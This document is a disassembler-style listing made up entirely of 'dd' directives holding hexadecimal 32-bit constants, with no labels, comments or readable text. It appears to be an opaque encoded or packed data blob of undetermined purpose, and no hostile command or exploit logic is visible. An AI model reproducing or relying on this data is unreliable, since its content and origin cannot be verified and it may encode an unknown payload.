dd 7CCB3D24h, 0ACA75E1Fh, 0A2A600BCh, 6266F30Dh, 28333D52h
dd 0EDE69400h, 0BC22CAE7h, 0A7CFAD00h, 523DA58Ah, 0EA10BA7Ah
dd 7C39F86Bh, 2B370054h, 292A8D1Fh, 5B00499Dh, 30EB9125h
dd 0E0F04082h, 4D140F84h, 0D90768BDh, 0E08A90h, 6D2F7F8Fh
dd 950BC1Ch, 310FB6F4h, 21889118h, 0ABF03417h, 2A997F0h
dd 30BFA52Fh, 0CEC0EC76h, 2D00DE11h, 321D93B7h, 78BC70Fh
dd 9045043Dh, 0E960CFAEh, 0F5F31A7Ch, 0E8C6F4Ch, 8708E1BAh
dd 23E0BC94h, 69BF95h, 83AF2E4Bh, 0A91FF2D6h, 0BA7DB500h
dd 88CA9811h, 0CD22008Ch, 0D43A0246h, 7E38E784h, 4DE20048h
dd 0D57F9C2Eh, 4E110108h, 8470C822h, 479C216Bh, 3BA04EEBh
dd 6D931F15h, 0D3E0D400h, 129F95B2h, 5D5300ECh, 0B64C5559h
dd 5AE834ABh, 0C74E800h, 0DEC12A1Ah, 36E70F9h, 5BA1A081h
dd 0F0E8678Ah, 0D83851F4h, 654A9311h, 6263A440h, 0BAD2C04Bh
dd 2CD17C90h, 14EE2Eh, 3D9FEDAFh, 6D0014C6h, 0C098B136h
dd 508C15F9h, 7CACC7h, 0A37DAECDh, 326C9328h, 9EC8E400h
dd 0CEF10894h, 0B42B0939h, 420081F3h, 61C02371h, 73DF7B00h
dd 21CA80EFh, 0A745003Eh, 68028966h, 54002C9Dh, 5C2B6A9Fh
dd 661C3CEh, 0F9FC5256h, 0CB0011ECh, 0C55414C8h, 30BEADh
dd 91468C39h, 0BA4EA14Fh, 340066B0h, 83079F4Ah, 79F3B3h
dd 0FB73C662h, 50911D0h, 7271DE02h, 61353F51h, 0ECF0B4F8h
dd 28D20477h, 0C3BD502Bh, 0E1E2565Ch, 88F5B080h, 340BE726h
dd 57CC25F4h, 8037809h, 51877109h, 0E4BFF5D6h, 3B0079AEh
dd 419A3A87h, 0EE4A92A3h, 4F490259h, 6A81CA0Dh, 625EF481h
dd 219FC44Eh, 0E98F0B00h, 1ECFCCE0h, 0F8B00A1h, 0BD516768h
dd 8A01903Eh, 66B030BCh, 26C570FCh, 0B740ADEDh, 5FD647Ah
dd 0F63F8A94h, 0A0F40066h
dd 3511CC45h, 230CBF00h, 9FE87F8Eh, 44970A13h, 0B0419Eh
dd 5098BC14h, 0BE2C3010h, 0EE1C0CEAh, 17B47F42h, 2D0860C2h
dd 189CB086h, 0E0CE2931h, 0B000A664h, 2AA870Bh, 2C89CBA8h
dd 2C09B8h, 49677662h, 0D4A0E4C6h, 0D0000830h, 577B81CDh
dd 2835520Dh, 1B8330Fh, 0F8D2AEF4h, 6097EC37h, 54162F59h
dd 1300B276h, 0D3B9ED35h, 0E2E4F9h, 0C93BE828h, 0FF75A6EAh
dd 0BE62A805h, 0D2C05440h, 9DC47Bh, 0C56A6CCEh, 5EF57175h
dd 6700867Ah, 0B44F0B2Fh, 471840h, 4820584Ch, 0DCCFF73h
dd 80B39D3Ch, 0F42ED623h, 1DF343C1h, 84B8AE7Fh, 0A027C3A5h
dd 96A22A2Ch, 82238800h, 610257D7h, 0F5DB5B7Eh, 0A844C3D0h
dd 1CE2EBC4h, 8023A986h, 45A2E8ADh, 67072859h, 76C64AA0h
dd 1B049C20h, 0C5300B9h, 341C3A65h, 84078EBBh, 41685B6Dh
dd 66525C00h, 0DD371CAEh, 1351832Ah, 0D0BF9726h, 80506B36h
dd 46E5DF0Ch, 2E1C0698h, 1D16B619h, 0CA2C410Dh, 0E9A8111Bh
dd 107DD81Ah, 0C050AF00h, 6A0E4333h, 0D6740442h, 826C3D86h
dd 0E4642A44h, 4B676D00h, 88282CA4h, 0AB2588EAh, 0D10A504h
dd 0DC80DE04h, 13B3A2F4h, 62B42Ch, 37200657h, 0E904C9B8h
dd 64321259h, 993C4480h, 50ED0190h, 5B43965Ch, 4E55FC86h
dd 0BBEE460Bh, 1484A32Ah, 0FD60D0D4h, 0DC1E01D3h, 6EEEF559h
dd 2D86D813h, 43E29A01h, 82737629h, 0A957EF4h, 0C58DFB78h
dd 0D5F701E4h, 24274C0Ch, 4F0E41C8h, 6772DE02h, 76D08794h
dd 0B0902211h, 0B6140B80h, 7B801298h, 96B4FE2Ah, 955FB21Fh
dd 200C4C01h, 0BA306A88h, 6FB53CD7h, 5CAA5680h, 39E88106h
dd 0CEE2DF00h, 62A21CC9h, 21B1607Dh, 438BEA2Bh, 0ED2F2700h
dd 82F25E95h, 318700FEh, 0E6EFB5DDh, 5B00134Ch, 2576E8D0h
dd 686B12h, 8A2D033Fh, 4F59A61Ah, 0EE2B5A09h, 8094209Ah
dd 3E6C7EAAh, 311771B8h, 0F21405F9h, 0B1708039h, 6F0EA478h
dd 0A559646Dh, 0E4C0C44Ch, 2688060Ah, 2E62Ch, 0FE74A7E8h
dd 53123090h, 94006C03h, 32F201F5h, 0C41554B5h, 0A9E4010Eh
dd 46A456BEh, 53828E7h, 8B0928E9h, 0B28E1090h, 509B0091h
dd 696A6F92h, 0A3006833h, 0C4C0AC6Eh, 6CCA0Eh, 0C5E8D54Ah
dd 9A351E20h, 0DD072500h, 0CAEFF459h, 0CDFE000Eh, 3FE473E1h
dd 3D001B72h, 6F4508D4h, 16103877h, 791951Ch, 0CE11EBF8h
dd 0D0F1B300h, 5B1C1513h, 0F640CEDAh, 6439A2F0h, 74AD00AFh
dd 1D51662Dh, 76385FDFh, 24453BFEh, 5800DCBAh, 1620E0CCh
dd 0ED14000Ah, 0AA5551BBh, 9900977Ch, 0DBD13F69h, 723A382Bh
dd 11601A3h, 41D6FAD4h, 78943017h, 53795500h, 39E08EC7h
dd 6C335CB8h, 0BEBFB902h, 0A8C842B4h, 0D89609E2h, 0DD059822h
dd 0A33F7DE1h, 0DFE7EAC0h, 0E37003EDh, 72AC5334h, 0BACBF0E7h
dd 355C5841h, 5DD5055Dh, 4080A87Eh, 12FACA1h, 838B0A2Eh
dd 30DB60B2h, 0C4016638h, 0AC3496A2h, 0AC485632h, 1FD671FDh
dd 24BAC136h, 2F580B20h, 0F9E0A810h, 8DEEA80h, 0F8B0840Bh
dd 654D5700h, 1275F74h, 7C28CD43h, 61B7B691h, 5B09309Ch
dd 0A23AC319h, 0A4F47D91h, 0AF750537h, 0C8D07B67h, 0E40EF508h
dd 0C090C983h, 1F4C9843h, 536800EAh, 88665619h, 1004871h
dd 0C189AF2Bh, 3ECD20ECh, 4989404Bh, 440006B0h, 0AC331EBAh
dd 0A2D6C100h, 6EF36FC9h, 0ED8C1444h, 6788CDFh, 6376AFCCh
dd 690010DCh, 83954DBBh, 0E4C7919Fh, 0C042E737h, 9C968EC8h
dd 2512C381h, 9C0A4AAh, 0E68302F8h, 5DDAFFDFh, 92DD4C60h
dd 37008998h, 0BBF74DA0h, 7848A5D1h, 0DA820156h, 1FD08A06h
dd 243CE853h, 51005CB8h, 699D3625h, 93F82Dh, 67612263h
dd 9AA4C4BEh, 7E1B9C27h, 0BD5D0006h, 9E98484Ch, 95876601h
dd 0FDF3F680h, 8D1FC8h, 0A2EF78F8h, 48549385h, 84C6DA1Fh
dd 709B4CC0h, 13F9189h, 168F9567h, 0E40F7AB3h, 0BA006EB2h
dd 7FADCB1Bh, 0F89539D7h, 0FF3D0020h, 0A10457CEh, 9801246Dh
dd 15978936h, 0A428C34Eh, 50F1DF19h, 8968BCD2h, 6A36A4C8h
dd 7C18606Ch, 0BD2200D8h, 6A5AAA66h, 0B318B66Bh, 3838F03Dh
dd 24C438BBh, 0CDF0586h, 4E0051AFh, 21EE76DDh, 0F48BB542h
dd 89FC0117h, 0B2F65B1Bh, 0ADC0E01Dh, 4D85760h, 0F4C12Fh
dd 9527F7Eh, 0C991B743h, 0D200F6F8h, 2C22EC8Ah, 9D1D13h
dd 0A46CC130h, 5AC44282h, 29704400h, 0DABF9C69h, 147B09EBh
dd 9001AFA2h, 0C43681A8h, 0D005997h, 61C05735h, 0FAF2EB3Fh
dd 4349E26h, 909608BFh, 5CE8FED4h, 2800A490h, 8C2CC7A0h
dd 0BC0313Ah, 0F2645A12h, 11BB4060h, 0BD8EEC00h, 0A982F816h
dd 0EB02162Ch, 646C0110h, 30CE2487h, 0E802299Ch, 449C2306h
dd 0A1B0E1F1h, 0F388420h, 4BB868ADh, 0D6F82820h, 0E202F102h
dd 94450472h, 4F084016h, 0C1E77EFFh, 7A5B3E38h, 70188E21h
dd 1780FFF3h, 96FAE41Bh, 79B62D1Ch, 0E0EBFB83h, 2CA2CFD9h
dd 859400B4h, 7C596097h, 4D610FE6h, 47B30A56h, 40F4E4F8h
dd 14D1E2AFh, 6C82C89Eh, 87D7C5B4h, 0BE308A8Ch, 0A88B1A1Bh
dd 139A480h, 64A98911h, 0F6B64957h, 0FF0A9479h, 9482A899h
dd 0D8805BD8h, 64860378h, 901127A9h, 4AE08AE2h, 7EFC1DB7h
dd 0A7F2F013h, 0B03BD0C9h, 70C0C354h, 57DF15C8h, 7A49C094h
dd 3458FA68h, 382F6529h, 281A510Eh, 0A745803Fh, 0CE06AA6h
dd 0A2C61000h, 0EC0938B7h, 954E41Ah, 0CC188A60h, 0C41C2E82h
dd 0DE0018D0h, 9EBE89FBh, 0B2D229E9h, 84E70180h, 714A2630h
dd 9F0FEC01h, 2A74B100h, 37C436A5h, 0C6F700A8h, 0C8BFF854h
dd 0BD50A0B2h, 46141FDCh, 2ED04813h, 0B48184D9h, 0C2557B56h
dd 0F43F75D0h, 43F91239h, 495C00D6h, 0D392D79Bh, 0AE10D161h
dd 0B6F0B711h, 12990053h, 0BAED2DDEh, 0D6007B7Dh, 4AC773F4h
dd 0A9C61A42h, 64D589D0h, 0F0824878h, 0F8A09DAAh, 0DCBB9347h
dd 44432401h, 0BC112325h, 7FDFC74h, 625E52EFh, 3B0DC3ABh
dd 50AD8280h, 9564B707h, 0C7B03E4Fh, 18924D59h, 18BAD097h
dd 0D70EADF7h, 0E0EE2CF5h, 4CAA4161h, 8030EC6h, 49226C40h
dd 0B4C02F05h, 0DD0BFE32h, 8011A583h, 439554F4h, 7B9A003Ah
dd 3996FB65h, 0B50591ABh, 0A45F3D3Fh, 37E6DF80h, 0F530228h
dd 916DA5FFh, 5515C160h, 0AF41B006h, 0F1F883h, 8C907F59h
dd 2AD0E81Ah, 874C6109h, 9E14044Ah, 49685040h, 8C011198h
dd 29E1E22Fh, 9E30098Ah, 0B1A105E9h, 0A0B2497Eh, 1114B85Ch
dd 0B2A4A51Fh, 61A66180h, 462430h, 0D71331DDh, 0C97266Fh
dd 603549h, 0A2A9C141h, 60CE1A89h, 48704106h, 4C9111E5h
dd 9F3BC581h, 1080A1D4h, 0D712040Eh, 2148B9E2h, 50311C4Fh
dd 48005512h, 0EBCFDFAh, 1F09610h, 875C5D4Ch, 235C6C85h
dd 0C2AF002Ch, 581CE16h, 0D9E3F630h, 0F7AB60Ah, 0C09E62Eh
dd 63BE0FC2h, 17C0784Ah, 6F05ED61h, 0C41A0A03h, 150050B3h
dd 2EAE82CBh, 3C987DD7h, 80873427h, 0DDD670ECh, 0E48500FFh
dd 8773C21h, 1A7672DBh, 0D025DAFAh, 55CC0052h, 17A87357h
dd 59AF63h, 71D2D88Ch, 887F458Ch, 85C5213Ch, 0A6F58C2h
dd 0D3222C80h, 132F286h, 4696AC65h, 0E4AB6A7Ah, 64055461h
dd 0BEA9E4Dh, 2E9A8B00h, 1C8ABCE0h, 87D3D948h, 0EF4EFE24h
dd 0D0EF3367h, 6C788E92h, 342F250Bh, 0D630C69Fh, 0DC30C371h
dd 1C1ED1E8h, 6E584E01h, 8C6CCE9Ch, 1718860h, 0FF23EE20h
dd 24EBDCD9h, 82C143C0h
dd 39F913C0h, 9B8B6A0h, 0EA850628h, 13B98Ah, 6B600780h
dd 1E06952Dh, 0F5F1E63Bh, 0F3A90678h, 0C80E27E2h, 7EFF0D00h
dd 90420733h, 9C93040h, 215CAF18h, 80A1C175h, 0B006C0CBh
dd 54F858E0h, 9B1A711Ch, 0E0E1A4C9h, 3BBC44h, 15323597h
dd 0B5B4245h, 4E077C9Eh, 94426EECh, 0A6D84002h, 894F0F10h
dd 7ACE0DA7h, 0EE295E2Eh, 0E6605C0Fh, 87C9D720h, 70004576h
dd 0E51C430Ch, 6E4BD3h, 7AB2FA2Fh, 0C716BBBCh, 38E27F30h
dd 1EB13179h, 80626871h, 666A8154h, 0E4139764h, 24001DAFh
dd 177E96A2h, 6A1004Ah, 8B728883h, 82128E7Ch, 1C1C4C2Ah
dd 1F7F4D41h, 8040C62Fh, 0C296BBh, 52E2E60Eh, 0E0D64564h
dd 0DF389D60h, 4028CFh, 0DB3C148Ch, 765AA2ACh, 0C96F6A09h
dd 4CE8C1F4h, 128860C2h, 39280046h, 1B697DCFh, 301E757h
dd 3DE11A88h, 5D5FBC2h, 1FAECB30h, 91134Eh, 28534D8Eh
dd 163888CFh, 0FC0900E7h, 6C679FE0h, 4F310F91h, 0A4009268h
dd 0E5DED026h, 1FCE248h, 0A90A594Dh, 20F86675h, 0E7B739C7h
dd 0EAEBF983h, 110017A5h, 77325A7Ch, 76B5C0h, 8DFAF9F1h
dd 3DE4936Fh, 740F0390h, 0F8A808CCh, 0F42A230h, 215D6C5Ch
dd 8C67A000h, 1F0074E8h, 59B52E9Ch, 0D5E25h, 0FA4FF81h
dd 0D7FBFA8Eh, 2B009F72h, 23187A1Fh, 0C8984Fh, 5E1205E7h
dd 0C90197BFh, 0B4A3C00h, 0BBBE2D18h, 31830128h, 59989D2Ch
dd 2F27D486h, 0EBCCF700h, 2354F222h, 0AA3500FEh, 21514BC3h
dd 2400E9CDh, 0D336683h, 0A06C5956h, 0EEE6E0A5h, 4B9E031Ch
dd 0A4A108C2h, 0C7D898DBh, 0F700A705h, 0F27BC453h, 2103DAh
dd 1D95DF4Eh, 3869C6BAh, 6B044700h, 3A2EB38Bh, 0CB771FB6h
dd 702F4012h, 632A4367h, 0ABB74700h, 0D172D687h, 798000B0h
dd 34BED729h, 0ED0FA34Eh, 40E488F3h, 9439668h, 9D510097h
dd 0F4201375h, 530054E6h, 0EE115606h, 0A022F07Fh, 90035FB0h
dd 0C6E300BBh, 85DE3DE8h, 1D007D29h, 52C07542h, 0FDA906h
dd 0F3717B8Bh, 32B41BEBh, 0E9DDD900h, 299D1972h, 605E00BEh
dd 45B03B6Ah, 47007799h, 537ED74Bh, 71F115h, 0FC2BBAC8h
dd 0BE7F3EB4h, 804D603Fh, 0BC0F5ACEh, 168E204h, 799DA095h
dd 208EB044h, 5E000C40h, 0A8EEB96Eh, 0EA490736h, 16CF71B1h
dd 29E04E0h, 0A0678A1Dh, 0FF01B5F6h, 0D080139Fh, 0C064D5C0h
dd 1EC9DB18h, 60006678h, 4817BDECh, 7226B0DCh, 93F5008Bh
dd 7BF5FD2h, 7D009547h, 0FD977890h, 5913A3h, 50435D55h
dd 416B2070h, 2B364500h, 0D0218A9Bh, 0BF3F0014h, 7C7A5213h
dd 0B9009548h, 0FAD3963Dh, 1F1FC9FCh, 49F7C03Eh, 0FB00AFC5h
dd 65516D07h, 9A294500h, 618102A6h, 3921C0Fh, 2B32005Eh
dd 0C4A305E5h, 0F63F5100h, 0B907D2F8h, 0D116004Fh, 8220EFC0h
dd 2625FB28h, 0F7DE3Eh, 62C31DCFh, 3B00C0A5h, 0A9E91846h
dd 1EFF52Bh, 1BE01CD7h, 0C8173187h, 2D39157Ch, 3C7A0077h
dd 0F55159CDh, 0C9FB0C13h, 691163A1h, 67037BF6h, 79613A99h
dd 4928E065h, 0C87BC0h, 81F7F1BDh, 1137B1B2h, 4836FE01h
dd 5FEB82FCh, 0C960D0h, 18CA20C6h, 29D243F5h, 0CF013Fh
dd 55A615D3h, 0F9D98Ah, 53B52C3Ch, 855D31CEh, 1B327300h
dd 0F34A59D7h, 4D76AAh, 0C4774250h, 0BA714956h, 3016EB00h
dd 36989632h, 819300EFh, 89ABE7EEh, 40B81DE4h, 0BB17DE00h
dd 0CDC9C8B9h, 0FE8700A3h, 0F5FCD4C2h, 0F63B5FD9h, 711F81A0h
dd 80D37F45h, 88807861h, 4157EFB4h, 7CFAA42Dh, 0D0E2BA0Ah
dd 0EA90108Fh, 47670520h, 12476008h, 31C213A1h, 4D2897h
dd 55C5D63Ah, 0CD74AB7Ch, 449A7307h, 70E4BA41h, 9D350780h
dd 0C2C10007h, 0EFD3B26Bh, 77019416h, 684CF7ABh, 50802BB4h
dd 41552DA8h, 44A02256h, 60037249h, 578B7B97h, 378CE8C3h
dd 4F4A00C2h, 50B2C692h, 7C00042Ah, 25C954C4h, 784D7BA4h
dd 3DAA30F5h, 0B2ECA890h, 0C0560328h, 8CD2C000h, 223E4735h
dd 0EFE9004Dh, 5DDFEB3Bh, 500E649h, 1887B643h, 748ACF63h
dd 56AB3C3Ch, 0DF5E7D00h, 418352C7h, 36D70600h, 1512837h
dd 26A60099h, 84DFF016h, 18C109B2h, 1AFFB6BBh, 0E3C1BFFBh
dd 0F641C944h, 2083022Ah, 50C5997Eh, 0E2DF9803h, 0E6B9B683h
dd 4B730130h, 0D2C7E989h, 3A35E4C8h, 0E84018D8h, 0C1C9802Ch
dd 691E4978h, 113F2E44h, 0C03C0DAEh, 0A43C4295h, 6F3DBC09h
dd 0C8C76882h, 8695E091h, 0C199CE09h, 874D1989h, 0D070516Dh
dd 6A30A4DFh, 64A6D128h, 7198787Dh, 32E630C3h, 18407F41h
dd 44306A0Ah, 0D380B42Bh, 0D4CF500Bh, 0DFE007DAh, 0C03783DEh
dd 749542ACh, 41688976h, 760E6060h, 8D803EE0h, 94708EB2h
dd 4CC90331h, 2D5C38FFh, 50669800h, 1871AD62h, 64E93A9Ch
dd 0A309545Ch, 0F3817448h, 0F0CC2DC3h, 0D100B6A2h, 765FBA87h
dd 7895A057h, 0FFC800D9h, 8BC5B1ABh, 0F600B0A9h, 0AC748A79h
dd 65285BAh, 4E30C088h, 0A481C925h, 0B2971336h, 49B240F2h
dd 381E28AFh, 3164058Ch, 40CCCA77h, 3402EA8h, 6D064779h
dd 754F57A4h, 2183FF08h, 33037801h, 0A5CBC0E5h, 0A43F82B2h
dd 45E8058Bh, 0D406C47Bh, 68176A7h, 0D6CFF389h, 0E7304138h
dd 0B1AD913Bh, 122C0E27h, 0BCE21813h, 0A6C11140h, 0F050A1C9h
dd 2EDEBB01h, 644035BAh, 0CF20919h, 0C2FF15E0h, 43185070h
dd 1A38CB32h, 0D13180B1h, 0E6BA2200h, 0D2180AF4h, 13AF047Eh
dd 0C0C0F2F1h, 0B2DED756h, 38BA8A34h, 36E69040h, 12C9526Ah
dd 32CA186h, 0E5124B48h, 0DC885189h, 3C71ECC5h, 0F0FBD500h
dd 7C6A47D4h, 0E3AC07E8h, 5070BF98h, 0DD73D1D8h, 0A63B6B00h
dd 37216A3Fh, 0DBCE0EE0h, 74807605h, 7A70D057h, 0D12A3400h
dd 56B5CD44h, 0D76D00C1h, 2B08C74Eh, 0ECE3A965h, 0B400A5E1h
dd 0C9B2F514h, 5C8FFDA8h, 55005559h, 0E798E9Ch, 0D9073CBAh
dd 464F6801h, 2D8C43D0h, 0CB56001Fh, 11C09759h, 9C00D787h
dd 0A961EEDFh, 1EBD6AD1h, 478D4B8Eh, 0A017DCC8h, 0E1F07D62h
dd 8A929407h, 58618F08h, 31309910h, 2D3D0109h, 8D0D4725h
dd 4006FBE0h, 24692904h, 50E66718h, 0BD1C04Fh, 0DE8F36Eh
dd 6B00CFE8h, 3ABB907Eh, 0E8F5033Eh, 8CF8FB26h, 60980104h
dd 0D128BC0Bh, 5C618034h, 3EBDAD94h, 7D311904h, 0F054194Eh
dd 0FB18F548h, 55C1BB65h, 9A0C0086h, 62196182h, 7049EEAh
dd 0B6C8B804h, 93D9C680h, 514400B7h, 8B27B4E8h, 0B2006FCCh
dd 0C512F42Ah, 0C4A36009h, 40BE7719h, 0FD4A0D54h, 4B930635h
dd 0E1A1C08Eh, 0E93D6530h, 31A78Ch, 892BEE61h, 68C822E0h
dd 6AB16000h, 67D1E253h, 39DD6F65h, 4EC9C400h, 3400DFDBh
dd 925E94AAh, 0EA0810h, 0EB2FBD9Ah, 2645290Bh, 0B6ECF0C0h
dd 65ED5Ah, 934F7FE8h, 0D8FF9D8Ch, 0F2DA0D00h, 19692A9Bh
dd 0BD8F0055h, 7BCDBCECh, 0D50780E4h, 61DA929Ch, 8860CEE7h
dd 75AD8E9h, 0C2A3F991h, 83970DBh, 8203E358h, 0DD20D514h
dd 0E60800B8h, 56C644CDh, 3E0097C7h, 0E0D40AA3h, 0CF0D1Ch
dd 8D40AF11h, 858086F9h, 70D80730h, 50EAD20h, 12C1F19Ah
dd 83E905DAh, 0BA54C00Dh, 660C0714h, 109208AEh, 8C4600FCh
dd 0CE0255DBh, 0F60EB30Dh, 8088CF43h, 30D30B5Eh, 14E8E5h
dd 0AE583E8Dh, 0A68CDCE1h, 71C0FB78h, 461C04B3h, 6DB83F9Ch
dd 0C161BF39h, 0D0E5D275h, 5BF86F35h, 18D65835h, 60938DE0h
dd 6079887h, 407D22B1h
dd 3F007A71h, 3C019A41h, 93462F1h, 9E853D94h, 804EE703h
dd 21280930h, 73DAF54h, 27516E79h, 0C6B3B046h, 3A00201Ch
dd 29AF575h, 62C5A8Ch, 0D72F4BAh, 14073830h, 683B495Ch
dd 1AEBDE0h, 8B066B3h, 7C002166h, 0D5D93B41h, 9F1C4Eh
dd 6EFC3CC2h, 647759E5h, 62F4B819h, 9D184CB0h, 9E823D04h
dd 5232D0ABh, 7D08326h, 710BC601h, 0FA6AE337h, 1421A066h
dd 28D46A8h, 5A693B4Ah, 10553145h, 53B4273h, 0FCF80CA1h
dd 13C0BB18h, 0C9FE4F3h, 0F0C79763h, 0D1003C28h, 7F8BC483h
dd 37302196h, 3C088E72h, 0C4FCB021h, 0F56EB105h, 9C4022D2h
dd 2BC50E3Dh, 1CF90784h, 0A0751981h, 0CCF43F7Eh, 88A02674h
dd 0A500FF9Fh, 71F83669h, 3E90A0h, 382785BFh, 0CDC9E44h
dd 293CE200h, 4E5B6924h, 4775009Ah, 96629558h, 7F0FFDD8h
dd 8090D30Fh, 5100C6Eh, 1F0003Dh, 46F6D15Ch, 0A41D70C6h
dd 4F0184C8h, 0CE8FBB32h, 1B840C8h, 168988A2h, 0EF5CD822h
dd 910145D0h, 11D13Ch, 336D0921h, 7E4A43CCh, 30E218A8h
dd 10941852h, 9D6AA000h, 91704160h, 6E7E65Ch, 37ABE2ADh
dd 7B39286Dh, 855E9DECh, 7A2F9A03h, 429EE039h, 8B20C03Eh
dd 410DD49Bh, 6478531Ch, 0D6451A80h, 3D3B63F6h, 9B0F0924h
dd 5A472C03h, 0E29EE0A0h, 61C008A8h, 3FC75886h, 95DA0EA1h
dd 5D419482h, 70B99616h, 0C4008F60h, 5244537Fh, 7B37CFCh
dd 0D086D735h, 1829B0F3h, 0B62E75EBh, 17008CFBh, 0ED6C8F40h
dd 0C893007Ch, 0DAB12610h, 0D7E6A6CAh, 0F8A07014h, 6EE61598h
dd 8A903F84h, 0EC5BB0D2h, 57387B00h, 7D6C24Ah, 0B7B644F7h
dd 16D53001h, 6F73F3BEh, 18367900h, 1DA07359h, 0B6FC1CC2h
dd 352000E4h, 6CD685AAh, 0F9311801h, 8C716F7Eh, 30177E4h
dd 3528B248h, 0C0BC03E9h, 0F916C366h, 3E9BB303h, 0FFEC8F6Fh
dd 57BE406Ch, 717F0485h, 9610C0E2h, 0F27AFED0h, 958C8001h
dd 0BEAE9A05h, 8E37E4h, 40E0F935h, 0FD886AA3h, 546829C2h
dd 0B8DD0704h, 919EE590h, 559411F7h, 10664111h, 0E939E101h
dd 7C166580h, 64C3F97Eh, 4739DB00h, 437A9A22h, 784D00E7h
dd 2D31C81Fh, 46B8BDC6h, 936E7406h, 3A8C3085h, 0C4BDF439h
dd 0FEDACA80h, 80364640h, 560047F2h, 9378506Ch, 1590C87Eh
dd 806A6B2Eh, 0C380C639h, 0EF3DDFF8h, 0E000310h, 8A169046h
dd 6FDD13h, 733AC79Ah, 0D9C44FC5h, 8FC0673Ch, 0E0C20AB0h
dd 0EF9A3EA4h, 1A910065h, 0CC15190Fh, 80F41216h, 6D04E100h
dd 0F6178F1Bh, 0D523005Ah, 5C2CA443h, 444CA079h, 0A2450099h
dd 939D40Bh, 0F8643883h, 15A1FA80h, 0DEC27630h, 5FD50C00h
dd 7E3F87A2h, 0F6F44CB3h, 9781E23Fh, 0C76C51EAh, 13D08069h
dd 0A48268A7h, 793F5C4Dh, 16F4BD00h, 87B40CD0h, 0EED1F00h
dd 0AE6777B1h, 68A5005Dh, 73CD8B75h, 0FE482562h, 0E65801B7h
dd 65062D97h, 0D5C4D1D5h, 406F008Ch, 1C59457Eh, 0E8EE117Bh
dd 0F6331700h, 8FA3DDC0h, 0E28504C5h, 0C0C10E52h, 0ACC4BC5Dh
dd 0DDD6F600h, 2FEAC073h, 24F2E8A1h, 0E3B04C3h, 0CA204C5Bh
dd 90A4F103h, 808E2D38h, 0DF9F6B2Ah, 3F3E885h, 98641D34h
dd 0D4B04976h, 0E7B80992h, 1ECCCB00h, 72EAA828h, 0E1711FD1h
dd 566600CFh, 0C5347C60h, 0D00059F2h, 4F44496Ch, 0E52ECBh
dd 8A4EBFE3h, 0C901BCEEh, 4A90B700h, 8FAF850Dh, 70370049h
dd 320611CCh, 0F5002B09h, 14C8BAFCh, 8FFD1h, 453790D5h
dd 887CAF8Eh, 41665300h, 0A8CA4B63h, 0C1490062h, 0C2D14E7Bh
dd 0CD60CB21h, 0DADD5034h, 3AAD004Fh, 0D1FE1FF4h, 9D3C9212h
dd 0F7BD0009h, 6C39761Eh, 8A6800EAh, 0BF2CADBh, 0F9A0ED31h
dd 0FD0E47ADh, 801E1AFBh, 5401B6FAh, 0B33F07Ah, 68DBB1E9h
dd 0C9CC0380h, 970196F6h, 229964BCh, 1BFC8529h, 9EE400CFh
dd 1D38B40Eh, 7D0006C1h, 0A1EEBB61h, 0C5CB46h, 0F7131B1h
dd 5CA0FD66h, 0D907C9E4h, 17986C68h, 1B847030h, 0C4200191h
dd 0A62D5261h, 2EA3ECAAh, 27F11F00h, 0BFAC9C12h, 0C18F0083h
dd 77D9CA89h, 1B000820h, 594F0337h, 48A9FF8h, 5DE7C292h
dd 2F5C80CBh, 45007F94h, 6740CF70h, 720392C3h, 895B0014h
dd 3A54B7EAh, 0E30AB818h, 5C67F83Eh, 1DCB9C01h, 0AA61037Fh
dd 0E945DE8h, 3526C73Fh, 0AD219280h, 0B4A0CD29h, 610005A3h
dd 76F85DCAh, 2AE182h, 1D631034h, 93734FA4h, 0DF8BAE00h
dd 0F9018C19h, 6DBE00CEh, 38B0A32Ah, 0E200E621h, 2E18AF06h
dd 8EB4F5h, 0CD522715h, 2033ED3Eh, 6DCBB01h, 0A9EAF117h
dd 1FD84C8h, 7710F231h, 0C8266F6Bh, 503B34D3h, 4F0F7B41h
dd 2065A46Ch, 0E16099EAh, 0D7921FD6h, 85F2C701h, 58009910h
dd 69355732h, 28207000h, 0E7A8B5D7h, 6BE60017h, 2E3C54ACh
dd 521C9266h, 704091D0h, 0B0D76569h, 50290028h, 54E7DEF2h
dd 0AB04AC30h, 0C8A67EA9h, 0EE0EA101h, 3171C5Bh, 0AF4D6E92h
dd 0AAF0B8DAh, 8605905Bh, 0B44F31FFh, 3F95A802h, 0DDC05DE1h
dd 5F00E9F8h, 3D310A5Ah, 7F6A86h, 939C4EBDh, 79037024h
dd 0A3FC3Bh, 94338F42h, 0C971BBh, 8A781F67h, 0C5CDA0D9h
dd 8ECBA700h, 7DE02A87h, 64FE27h, 0E22F694Fh, 957E0FC2h
dd 4837F200h, 1FBD5DBEh, 7E9A904Ah, 0A470AFh, 0A0F7CC92h
dd 76948412h, 0BC29B21Ch, 1F69700h, 315021Bh, 8C520D24h
dd 0CFE0B089h, 0AD007E58h, 1EB8F4Bh, 1E4DF39Fh, 4E0E1C67h
dd 7A400970h, 1EA24B06h, 0ED6D3Bh, 5EE81F4Fh, 713AD4CEh
dd 37AE00A3h, 8FBF7E3Ch, 300B5FCh, 0A05E22F5h, 7141F9EDh
dd 88C15098h, 9BE1002Fh, 0EAE82AB9h, 0AC00EDFBh, 6CA94429h
dd 0E0697B6Ah, 46BA00A5h, 26AE1DE6h, 0F7009BE3h, 38E5C4F4h
dd 2B75B5h, 91966A79h, 0DB3D4002h, 0B224B607h, 0A9104504h
dd 0E2FA6FEh, 6FD07A8h, 799903E0h, 15177AFBh, 2C058168h
dd 0DD009B5Dh, 0B78CC97Dh, 3B61079Dh, 30DBE4BFh, 830AF627h
dd 77657E00h, 2CDEBE41h, 3A6E0048h, 0F796FB05h, 0CE00B606h
dd 0D84CD5DCh, 0C0D74F88h, 0F533CB0h, 8201C538h, 17A5C0ACh
dd 0F1F858BDh, 0C804000Ch, 0D53E2F5Dh, 91003A65h, 0CF285C5Bh
dd 1E070F5Fh, 40CDFDC6h, 2E662F2Bh, 0CC0793E0h, 50804D98h
dd 9CEFC80h, 0C022061Dh, 30EEB805h, 3E42850Fh, 148E35h
dd 0E4C76473h, 8A812E48h, 0FE890198h, 319D9A75h, 0F6E83050h
dd 5BA0600h, 84DEEABEh, 8CA94C7Ch, 0A269F00Eh, 7A1F600h
dd 0CF003CD3h, 7CEEB2BFh, 7ABCF4FBh, 792F0039h, 0F0EA7510h
dd 7400DCC6h, 7ADAFCE7h, 3CBA5E4h, 0F8B4AD6Bh, 0CEA8D493h
dd 9A1D5884h, 298068D6h, 2CDF1D61h, 8947006Fh, 22ED14B1h
